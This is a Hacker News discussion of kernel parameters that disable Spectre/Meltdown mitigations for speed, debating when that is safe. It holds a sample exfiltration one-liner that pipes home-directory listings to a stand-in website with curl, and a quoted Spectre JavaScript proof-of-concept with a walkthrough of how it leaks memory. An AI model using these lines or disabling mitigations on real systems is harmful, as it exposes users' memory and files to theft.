13 ms·

The GRUB parameters that appear on Make-Linux-Fast-Again.com apparently disable Spectre/Meltdown mitigations: https://gist.github.com/rizalp/ff74fd9ededb076e61

• jcelerier 7y ago
  Yes, that's the point of this site - if your workflow is hurt by the perf impact of mitigations and SPECTRE & friends are not a credible attack, for instance because you disable JS by default, then you can just curl and pipe this to your kernel parameters
  • miles 7y ago
    > Yes, that's the point of this site Sorry - was just providing a bit more information for those of us who didn't immediately grok the point of a site which is literally just: noibrs noibpb nopti nospectre_v2 nospectre_v1 l1tf=off nospec_store_bypass_disable no_stf_barrier mds=off tsx=on tsx_async_abort=off mitigations=off
    • jcelerier 7y ago
      hm, I'm not a native english speaker - was my tone incorrect ? was just trying to add more context
      • deleted 7y ago
        [deleted]
      • jshevek 7y ago
        I thought your tone was fine, but the phrase "Yes, that's the point..." can sometimes (not always) be associated with a condescending, sometimes even impatient, tone. It's not intrinsic to the phrase, it depends on what the reader may associate with the phrase. (I'm also not saying this actually happened in this case, I'm just speaking generally.)
        • therealcamino 7y ago
          Agreed, and the part that may be difficult for a non-native speaker to get is what other words would give the same meaning but seem less confrontational: e.g. "Yes, that's the intent..." conveys the same meaning but with a milder tone. I think with "point" there's the suggestion of "You missed the point," which is an insult.
      • MaulingMonkey 7y ago
        I think you're fine! But just to try and deconstruct... similar phrasing: > Yes... that's the entire point of xyz -_-; ...is semi-frequently used to imply "what you said is obvious" with a sort of... dismissive undertone, which might've been what miles was reacting to. Breaking the phrase up a bit more and making it a bit more casual/chipper somehow feels harder to misinterpret this way? Even without resorting to emoji as I have here: > Yep! That's the point of xyz :) But I could see myself using your phrasing as a native speaker, so I wouldn't worry about it too much ¯\_(ツ)_/¯
  • saagarjha 7y ago
    > just curl and pipe this to your kernel parameters ;)
    • jcelerier 7y ago
      well, you're already trusting random magic incantations found on internet so...
      • holstvoogd 7y ago
        That reminds me of this talk: https://www.youtube.com/watch?v=lKXe3HUG2l4 https://www.youtube.com/watch?v=lKXe3HUG2l4
  • danShumway 7y ago
    To be clear, SPECTRE leaks privileged memory at an OS-level -- up to in some cases allowing arbitrary virtual memory reads. While Javascript is the most likely attack vector for most people, you should not use this command on a system that's running untrusted code from anywhere in any context, and you should consider moving sensitive information like passwords off of the computer. I use uMatrix to disable Javascript by default on every site I visit, and I still would not feel safe running this command on anything other than a single-purpose device. That's not to say that there would never be a good reason to run it. A very imprecise, easy test I would propose is, "is your Linux system vetted enough or just unimportant enough that you would feel comfortable getting rid of users and running all of your software as root?" In which case, SPECTRE & friends is probably not a credible threat to you on that machine.
    • jcelerier 7y ago
      > you should not use this command on a system that's running untrusted code from anywhere in any context I don't really understand this point. Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user with a script that'd involve `ps -u` and `/proc/yourpid/maps`, mitigations or not, unless you use something like QubesOS (but most people do not). Leaking bits with spectre would be a super long process versus... just doing that if you could already get the user to download your code.
      • danShumway 7y ago
        > Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user There are variants of Spectre and Meltdown that expose kernel memory. If you're really in a position where you don't think that makes a difference, then why are you messing around with user accounts in the first place? Why aren't you running all your software as root? I'm not going to argue Linux sandboxing is awesome -- it's very clearly not. But user permissions are big part of what security we do have. Spectre/Meltdown also limit the effectiveness of the newer sandboxing features we're getting from packaging systems like Flatpack. Maybe you're not running any of that stuff on your system, but... I'm seeing a lot of people here being kind of blasé about the potential risks, arguing that they only need to protect themselves from websites, and I am skeptical that all of those people actually understand the full extent of these vulnerabilities.
  • lucideer 7y ago
    > SPECTRE & friends are not a credible attack, for instance because you disable JS by default That's... an extremely optimistic perspective on what's running on your system. Disabling JS in browser tab contexts (even if it's universal and not just "by default") is going to cover a pretty small percentage of SPECTRE et al. vectors.
    • yjftsjthsd-h 7y ago
      What other vectors are there? Assuming that I trust my local software (because if I don't then spectre is the least of my problems).
  • exikyut 7y ago
    > curl and pipe this to your kernel parameters What an incredibly convenient idea that is! ..... AAAAAAAaaaaaaaa [screams in infosec]
    • aneesh297 7y ago
      Can you explain why this is dangerous? Is it because there could be executable code in what's returned?
      • petronio 7y ago
        Yes, and since it's just a URL even if you perform an audit it could have malicious code injected at any time in the future without your knowledge.
• smabie 7y ago
  These aren't GRUB parameters, they are kernel parameters.
• nreece 7y ago
  Will these parameters work on a VM as well, or just a bare-metal host? Edit: looks like "performance gained by disabling workarounds for the mostly Intel CPU security flaws are not all that impressive in all workloads": https://linuxreviews.org/HOWTO_make_Linux_run_blazing_fast_(again)_on_Intel_CPUs#Performance_implications https://linuxreviews.org/HOWTO_make_Linux_run_blazing_fast_(...
  • hanikesn 7y ago
    I think I/O heavy benchmarks would be much more useful as syscalls take the heaviest hit from the mitigations.
• totorovirus 7y ago
  Is it relevant to AMD ryzen users?
• bufferoverflow 7y ago
  Which is perfectly fine for personal use or in a data center where you control the whole server.
  • sneak 7y ago
    Personal use usually involves a web browser, which usually executes untrusted javascript from the web. You won't find me disabling these mitigations on any of my workstations any time soon.
    • mahkoh 7y ago
      Is there a poc of an attack that works on an up-to-date browser iff these mitigations are disabled?
      • RIMR 7y ago
        Yes, the original Javascript exploit from the paper still works, because the browser cannot mitigate this attack without just disabling parts of Javascript entirely which breaks Javascript. With all current kernels built to mitigate these exploits, and all sane people running those kernels, there's no benefit in patching the browsers too, even if it were somehow possible, which for all intents and purposes it is not. https://react-etc.net/page/meltdown-spectre-javascript-exploit-example https://react-etc.net/page/meltdown-spectre-javascript-explo...
        • gowld 7y ago
          Can you or someone explain that exploit? Where is it reading out of bounds data?
          • bawolff 7y ago
            I'm not super familar with spectre, but i think the linked page is misinterpreting the vuln (hopefully someone will correct me if im totally out to lunch). So the original js from the spectre paper was: if (index < simpleByteArray.length) { index = simpleByteArray[index | 0]; index = (((index * 4096)|0) & (32*1024*1024-1))|0; localJunk ˆ= probeTable[index|0]|0; } The code looking a bit weird (all the |0) to ensure Chrome JITs it the correct way. My understanding of what happens, the loop goes a bunch of times while index is inside the simple byte array. After the last iteration, the processor speculatively executes the loop one more time than it should (branch misprediction). It eventually figures out the loop should end and undos the speculative execution. However that only happens after the loop has already started executing (where its not supposed to). During this improper execution, index is after the end of SimpleByteArray. index = simpleByteArray[index | 0] is then executed. index is now set to the value of some memory in the current process that the current JS is not supposed to access. index = (((index * 4096)|0) & (3210241024-1))|0; is executed to spread the memory value out (we need all possible values to be in a separate cache line in probeTable later). We now execute localJunk ˆ= probeTable[index|0]|0;. localJunk is just there to prevent dead code elimination optimization. Since we are now indexing into probeTable at 4096 byte intervals, we have to fetch that value from memory. It then gets cached by processor. This all gets undone by the processor when it realizes that the branch was incorrect, except the cache changes are not undone. If we access anything else in the same 4096 bytes later on, the access is a tiny bit quicker. The exploit is, that after all that setup, we try accessing each 4096 byte region of probeTable, to see which one is fastest. We can than conclude that was the value of index during the branch misprediction and thus the value of that byte of memory we aren't supposed to see. If we do this a lot, we can read the rest of the process's memory. The hope is we will be able to find cookies related to other websites currently open, and then do evil things with them. This attack no longer works because browsers disabled SharedArrayBuffer, which provided the really precise timer. The timing difference is very small so you need a very fine grained timer to make it work. It should also be noted that this variant of spectre is in-process only. Some versions of meltdown/spectre allow accessing memory of other processes, but as far as i understand this version is in process only. I hope that made sense, and i hope i didnt screw that up.
• geofft 7y ago
  TBH it's entirely in character with "make X Y again" to give some recommendations that are super straightforward and sound appealing, don't make a case that X is in fact no longer Y, completely ignore why those recommendations haven't been implemented thus far, and don't spend any time thinking about whether there's even the slightest downside to those recommendations (which are in fact super dangerous/harmful).
  • shuntress 7y ago
    Very well said. I would add that it is also needlessly antagonistic in addition to be being in poor taste.
    • shuntress 7y ago
      To be clear: I mean that using "Make X Y Again" is antagonistic and in poor taste. GP of this comment is well stated and accurate.
  • RIMR 7y ago
    I know it's in bad taste to get political on HN, so I won't say any names, but yes, this is very true of every "Make X Y Again" thing I am aware of.
    • oneplane 7y ago
      I'm not aware of any examples where "Make X Y Again" was a positive thing.
      • m463 7y ago
        So Don't Make America Great Again?
    • jonfw 7y ago
      We're all smart enough to read between the lines here- although you've barely avoided saying 'Trump' this is very clearly a political message One of the reasons I like HN is it generally avoids such shallow political talk.
• noncoml 7y ago
  And for windows: https://www.grc.com/inspectre.htm https://www.grc.com/inspectre.htm
• norswap 7y ago
  Well you know it says `nospectre_v2 nospectre_v1`, they're not being exactly sneaky about it.
  • amelius 7y ago
    Except a random person might not know what these names refer to.
• bawolff 7y ago
  I mean, its pretty obvious that enabling an option named no_spectre_v1 (and v2) is going to disable spectre mitigation. I feel like nobody should act shocked by this.